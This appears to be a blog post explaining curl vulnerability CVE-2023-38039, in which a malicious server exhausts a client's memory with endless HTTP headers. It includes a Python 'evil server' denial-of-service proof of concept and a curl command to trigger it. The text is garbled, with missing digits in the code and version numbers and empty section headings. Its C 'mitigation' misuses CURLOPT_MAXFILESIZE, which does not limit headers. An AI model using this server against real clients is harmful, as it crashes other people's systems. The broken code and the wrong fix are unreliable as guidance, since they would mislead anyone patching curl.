---

Introduction

If you’ve used the popular curl tool to fetch data from the internet, you might not think much about how it handles HTTP headers. But in 2023, a serious vulnerability was discovered: CVE-2023-38039. This flaw could let a malicious server crash your system — simply by sending an endless series of HTTP headers. In this post, we’ll break down how this works, see it in action with sample code, and discuss how to protect yourself.

What is CVE-2023-38039?

CVE-2023-38039 is a vulnerability found in curl and libcurl, where the client does not limit the amount or size of HTTP headers it accepts from a server. Normally, HTTP headers are a few dozen lines at most. But if a server keeps sending headers, curl will happily keep receiving and storing them. Without a limit, this can quickly fill up your computer’s memory and crash the process or the whole system.

*Official advisory:*
- curl Security Advisory for CVE-2023-38039

Why Is This So Dangerous?

Typical scenario:

The server never stops sending headers — it just keeps going.

What happens next:

A Simple Illustration

Let’s look at what typically happens under the hood. curl uses a loop to read HTTP headers until it sees an empty line, which marks the end of the headers:

while((line = read_next_header()) != "") {
    store_header(line);
}

But in vulnerable versions, there’s no check for how many headers have already been stored. An attacker can just keep sending more.

Real-World Exploit Demo

Let’s make a simple “evil server” in Python that never stops sending headers.

evilheaders.py

import socket
import time

host = '...'
port = 808

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((host, port))
    s.listen(1)
    print(f"Listening on {host}:{port}")
    conn, addr = s.accept()
    with conn:
        print('Connected by', addr)
        response = "HTTP/1.1 200 OK\r\n"
        conn.sendall(response.encode())
        # Send endless headers
        count = 
        while True:
            header = f"X-Bad-Header-{count}: This is a neverending header\r\n"
            conn.sendall(header.encode())
            count += 1
            time.sleep(.01)  # Slow it down so you can see what's happening
        # Theoretically, would never reach this line:
        # conn.sendall(b"\r\n{\n \"result\": \"done\" }\r\n")

Now, from another terminal, you run

curl http://localhost:808/

With a vulnerable curl, you’ll see your memory use start to skyrocket. Eventually, curl (and maybe your system) will crash.

How Was This Fixed?

Starting in curl 8.4., limits were introduced. By default, curl will now stop reading headers after about 100 headers, or if headers are individually or collectively too large.

Commit:
- GitHub curl commit fixing header limits

How to check your version

curl --version

How To Protect Yourself

1. Update curl/libcurl to at least 8.4..

Example in C

CURL *curl = curl_easy_init();
if(curl) {
    // Limit header size to 10 KB
    curl_easy_setopt(curl, CURLOPT_MAXFILESIZE, 10 * 1024);
}

References

- curl CVE-2023-38039 Advisory
- NVD Entry
- curl Issue Tracker Discussion
- Full patch diff

Summary

CVE-2023-38039 is a classic example of a denial-of-service (DoS) caused by trusting input from servers too much. An unbounded list of HTTP headers can cripple your system. The fix was simple: set reasonable limits. Make sure you patch your tools and libraries — especially curl — and stay safe online!

Timeline

Published on: 09/15/2023 04:15:00 UTC
Last modified on: 10/11/2023 11:15:00 UTC